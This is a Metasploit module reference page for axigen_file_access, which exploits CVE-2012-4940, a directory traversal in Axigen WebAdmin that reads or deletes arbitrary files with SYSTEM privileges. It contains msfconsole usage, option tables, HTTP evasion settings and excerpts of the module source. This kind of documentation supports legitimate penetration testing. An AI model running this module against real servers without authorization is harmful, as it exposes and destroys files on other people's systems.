Axigen Arbitrary File Read and Delete - Metasploit
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Module Overview
Name: Axigen Arbitrary File Read and Delete
Module: auxiliary/admin/http/axigen_file_access
Source code: modules/auxiliary/admin/http/axigen_file_access.rb
Disclosure date: 2012-10-31
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 9000
List of CVEs: CVE-2012-4940
This module exploits a directory traversal vulnerability in the WebAdmin interface of Axigen, which allows an authenticated user to read and delete arbitrary files with SYSTEM privileges. The vulnerability is known to work on Windows platforms. This module has been tested successfully on Axigen 8.10 over Windows 2003 SP2.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/axigen_file_access
msf auxiliary(axigen_file_access) > show targets
... a list of targets ...
msf auxiliary(axigen_file_access) > set TARGET target-id
msf auxiliary(axigen_file_access) > show options
... show and set options ...
msf auxiliary(axigen_file_access) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
PASSWORD: The password to authenticate with
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Msfconsole Usage
Here is how the admin/http/axigen_file_access auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/axigen_file_access
msf6 auxiliary(admin/http/axigen_file_access) > show info
Name: Axigen Arbitrary File Read and Delete
Module: auxiliary/admin/http/axigen_file_access
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-10-31
Provided by:
Zhao Liang
juan vazquez <[email protected]>
Available actions:
Name Description
---- -----------
Delete Delete remote file
Read Read remote file
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 4 yes Traversal depth if absolute is set to false
PASSWORD yes The password to authenticate with
PATH \windows\win.ini yes The file to read or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Axigen WebAdmin
USERNAME admin yes The user to authenticate as
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal vulnerability in the
WebAdmin interface of Axigen, which allows an authenticated user to
read and delete arbitrary files with SYSTEM privileges. The
vulnerability is known to work on Windows platforms. This module has
been tested successfully on Axigen 8.10 over Windows 2003 SP2.
References:
https://www.kb.cert.org/vuls/id/586556
https://nvd.nist.gov/vuln/detail/CVE-2012-4940
OSVDB (86802)
Module Options
This is a complete list of options available in the admin/http/axigen_file_access auxiliary module:
msf6 auxiliary(admin/http/axigen_file_access) > show options
Module options (auxiliary/admin/http/axigen_file_access):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 4 yes Traversal depth if absolute is set to false
PASSWORD yes The password to authenticate with
PATH \windows\win.ini yes The file to read or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Axigen WebAdmin
USERNAME admin yes The user to authenticate as
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
Read Read remote file
Advanced Options
Here is a complete list of advanced options supported by the admin/http/axigen_file_access auxiliary module:
msf6 auxiliary(admin/http/axigen_file_access) > show advanced
Module advanced options (auxiliary/admin/http/axigen_file_access):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/axigen_file_access module can do:
msf6 auxiliary(admin/http/axigen_file_access) > show actions
Auxiliary actions:
Name Description
---- -----------
Delete Delete remote file
Read Read remote file
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/axigen_file_access auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/axigen_file_access) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Login failed, review USERNAME and PASSWORD options
Here is a relevant code snippet related to the "Login failed, review USERNAME and PASSWORD options" error message:
50: def run
51: print_status("Trying to login")
52: if login
53: print_good("Login Successful")
54: else
55: print_error("Login failed, review USERNAME and PASSWORD options")
56: return
57: end
58:
59: @traversal = "../" * 10
60: file = datastore['PATH']
*nix platform detected, vulnerability is only known to work on Windows
Here is a relevant code snippet related to the "*nix platform detected, vulnerability is only known to work on Windows" error message:
62:
63: if @platform == 'windows'
64: @traversal.gsub!(/\//, "\\")
65: file.gsub!(/\//, "\\")
66: else # unix
67: print_error("*nix platform detected, vulnerability is only known to work on Windows")
68: return
69: end
70:
71: case action.name
72: when 'Read'
Failed to retrieve file
Here is a relevant code snippet related to the "Failed to retrieve file" error message:
93:
94: if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
95: store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file)
96: print_good("File successfully retrieved and saved on #{store_path}")
97: else
98: print_error("Failed to retrieve file")
99: end
100: end
101:
102: def delete_file(file)
103: print_status("Deleting file #{file}")
Error deleting file <FILE>
Here is a relevant code snippet related to the "Error deleting file <FILE>" error message:
116: })
117:
118: if res and res.code == 200 and res.body =~ /View Log Files/
119: print_good("File #{file} deleted")
120: else
121: print_error("Error deleting file #{file}")
122: end
123: end
124:
125: def get_platform
126: print_status("Retrieving platform")
Platform not found, assuming UNIX flavor
Here is a relevant code snippet related to the "Platform not found, assuming UNIX flavor" error message:
143: print_good("Linux platform found")
144: return 'unix'
145: end
146: end
147:
148: print_warning("Platform not found, assuming UNIX flavor")
149: return 'unix'
150: end
151:
152: def login
153: res = send_request_cgi(
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #3751 Merged Pull Request: [SeeRM 8836] Change boot.ini to win.ini
- #3354 Merged Pull Request: Resolved some msftidy warnings (Set-Cookie)
- #2718 Merged Pull Request: Remove @peer for modules that use HttpClient
- #2525 Merged Pull Request: Change module boilerplate
- #1585 Merged Pull Request: Added module for CVE-2012-4940
References
- VU#586556
- CVE-2012-4940
- OSVDB (86802)
See Also
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- exploit/multi/browser/java_verifier_field_access
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/http/ericom_access_now_bof
- auxiliary/admin/http/contentkeeper_fileaccess
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/admin/webmin/edit_html_fileaccess
- auxiliary/gather/advantech_webaccess_creds
- auxiliary/scanner/http/advantech_webaccess_login
- auxiliary/scanner/http/atlassian_crowd_fileaccess
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
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- auxiliary/scanner/http/mediawiki_svg_fileaccess
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
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- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/misc/easycafe_server_fileaccess
- auxiliary/scanner/misc/zenworks_preboot_fileaccess
- auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/sielco_winlog_fileaccess
- exploit/windows/browser/advantech_webaccess_dvs_getcolor
- exploit/windows/browser/hp_easy_printer_care_xmlsimpleaccessor
- exploit/windows/scada/advantech_webaccess_dashboard_file_upload
- exploit/windows/scada/advantech_webaccess_webvrpcs_bof
Authors
- Zhao Liang
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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